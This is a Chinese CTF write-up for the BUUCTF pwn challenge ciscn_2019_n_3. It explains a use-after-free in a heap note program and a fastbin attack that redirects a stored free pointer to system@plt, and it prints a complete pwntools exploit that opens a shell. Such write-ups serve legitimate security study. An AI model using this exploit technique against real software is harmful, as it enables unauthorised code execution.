[BUUCTF]PWN——ciscn_2019_n_3
ciscn_2019_n_3
步骤
例行检查,32位,开启了nx和canary保护
本地试运行一下,经典的堆题的菜单
3.32位ida载入
new(),申请了两个chunk,第一个chunk(13行)固定大小0xC,存放的是rec_int_print和rec_int_free函数的地址,第二个chunk(32行),是我们申请的chunk
del()
如果值是整数,直接 free chunk
如果值是字符串,则 chunk 和存储字符串的 chunk 都要 free。注意这里只是进行了 free 操作,没有将指针置 0,存在uaf漏洞
dump()
调用rec_int_print或者rec_str_print函数打印
利用思路:
由于本题将printf和free函数的指针都放在了申请的堆上,而且程序调用了system函数因此我们就不用double free来泄露libc基址了,我们可以利用fastbin的LIFO的机制,取得对存放指针的堆块的控制,修改free指针指向system@plt,触发 del 函数中的 free(*(ptr + 2)),即执行 system(’/bin/sh’),可以获取shell
首先申请两个chunk看一下大概的布局
new(0,2,'a'*10,0x88)
new(1,2,'b'*10,0x38)
new(2,1,0x41)
gdb.attach(p)
我们现在要利用 chunk 1 和 chunk 2 进行 fastbin attack 将 chunk 1 的 rec_str_free 覆盖为 system 的 plt 表
dele(1)
dele(2)
new(3,2,'bash'+p32(elf.plt['system']),0xc)
看到chunk1的rec_str_free地址已经被我们改成了system的plt表里的地址
接着把 /bin/sh 写入 chunk 1 的 string 对应的 chunk 中
new(4,2,'/bin/sh\x00',0x38)
然后执行dele(chunk1),本该是free(*(ptr + 2)),但是上方我们修改了free的地址,这里相当于执行 system(’/bin/sh’)
dele(1)
成功获取了shell
完整exp:
from pwn import *
#p=remote("node3.buuoj.cn",28200)
p = process("./ciscn_2019_n_3")
context.log_level = 'debug'
context.arch = 'x86'
elf = ELF("./ciscn_2019_n_3")
def new(idx,type,value,length=0):
p.recvuntil("CNote")
p.sendline(str(1))
p.recvuntil("Index")
p.sendline(str(idx))
p.recvuntil("Type")
p.sendline(str(type))
if type == 1:
p.recvuntil("Value")
p.sendline(str(value))
else:
p.recvuntil("Length")
p.sendline(str(length))
p.recvuntil("Value")
if length == 8:
p.send(value)
else:
p.sendline(value)
def dele(idx):
p.recvuntil("CNote")
p.sendline(str(2))
p.recvuntil("Index")
p.sendline(str(idx))
def show(idx):
p.recvuntil("CNote")
p.sendline(str(3))
p.recvuntil("Index")
p.sendline(str(idx))
new(0,2,'a'*10,0x88)
new(1,2,'b'*10,0x38)
new(2,1,0x41)
#gdb.attach(p)
dele(1)
dele(2)
new(3,2,'bash'+p32(elf.plt['system']),0xc)
#gdb.attach(p)
new(4,2,"/bin/sh\x00",0x38)
dele(1)
p.interactive()
[BUUCTF]PWN——ciscn_2019_n_3的更多相关文章
- [BUUCTF]PWN——babyheap_0ctf_2017
[BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...
- (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016
[buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...
- BUUCTF pwn一分题目
因为以前做过一些题目,看见1分题目也不太多了,就想着,抓紧点把1分题都刷一下吧.所以开个帖子记录一下,题目简单的话就只贴exp了. [BJDCTF 2nd]secret 这里有一个输入可以进行溢出,n ...
- [BUUCTF]PWN——hitcontraining_uaf
[BUUCTF]--hitcontraining_uaf 附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,非常常见的创建堆块的菜单 32位ida载入分析,shift+f12查看程序里的 ...
- BUUCTF PWN部分题目wp
pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...
- buuctf --pwn part2
pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...
- buuctf pwn wp---part1
pwn难啊 1.test_your_nc 测试你nc,不用说,连上就有. 2.rip ida中已经包含了system函数: 溢出,覆盖rip为fun函数,peda计算偏移为23: from pwn i ...
- [BUUCTF]PWN——pwnable_hacknote
pwnable_hacknote 附件 步骤: 例行检查,32位程序,开启了nx和canary保护 本地试运行看一下大概的情况,熟悉的堆的菜单 32位ida载入 add() gdb看一下堆块的布局更方 ...
- [BUUCTF]PWN——ciscn_2019_es_7[详解]
ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想 ...
随机推荐
- Financial Tsunami
COP 3502: PROGRAMMING ASSIGNMENT 4 DUE DATE: MARCH 16, 4:00 PM Name your class as PA4 and turn in .j ...
- OpenShift 本地开发环境配置(基于 Minishift)
本文要做什么? 很多为了验证应用在 OpenShift 平台的行为是否正常,或者组成一个简单的开发环境,直接搭建一个 OpenShift/Origin 环境可能太重了,而且运行在本机可能占用内存也太多 ...
- [loj3032]馕
(直接贪心会导致分子和分母过大) 令$S_{i}=\sum_{j=1}^{L}V_{i,j}$(即其独吞整个馕的快乐度),对第$i$个人求出$n$个位置$x_{1},x_{2},...,x_{n-1} ...
- 手写HashMap,快手面试官直呼内行!
手写HashMap?这么狠,面试都卷到这种程度了? 第一次见到这个面试题,是在某个不方便透露姓名的Offer收割机大佬的文章: 这--我当时就麻了,我们都知道HashMap的数据结构是数组+链表+红黑 ...
- Sentry 监控 - Snuba 数据中台架构(SnQL 查询语言简介)
本文描述了 Snuba 查询语言 (SnQL). 系列 1 分钟快速使用 Docker 上手最新版 Sentry-CLI - 创建版本 快速使用 Docker 上手 Sentry-CLI - 30 秒 ...
- uniapp增加自定义埋点功能
起因 首先来说,uniapp其实是自带系统埋点统计功能的.基本也算是面面俱到. 但是一些未知原因,貌似数据有所丢失,再加上没有一些重要的定制化功能,以及最重要的数据安全方面的考虑,还是决定接入公司的埋 ...
- 洛谷 P7450 - [THUSCH2017] 巧克力(斯坦纳树+随机化)
洛谷题面传送门 9.13 补之前 8.23 做的题,不愧是鸽子 tzc( 首先我们先来探讨一下如果 \(c_{i,j}\le k\) 怎么做,先考虑第一问.显然一个连通块符合条件当且仅当它能够包含所有 ...
- 洛谷 P5224 - Candies(循环卷积)
洛谷题面传送门 一道题解长度大概不到 1k 的题,可还是决定写篇题解,因为自己没有做出来( \(1004535809\) 好评( 首先这个 \(\equiv m\pmod{k}\) 有点把我们往单位根 ...
- 洛谷 P7155 [USACO20DEC] Spaceship P(dp)
Portal Yet another 1e9+7 Yet another 计数 dp Yet another 我做不出来的题 考虑合法的按键方式长啥样.假设我们依次按下了 \(p_1,p_2,\dot ...
- Oracle-创建新表,创建备份表,对表中插入多条数据
一.创建新表 0.基本语法 create table 表名称(id varchar2(50) primary key ,name char(200) not null,phone number(11) ...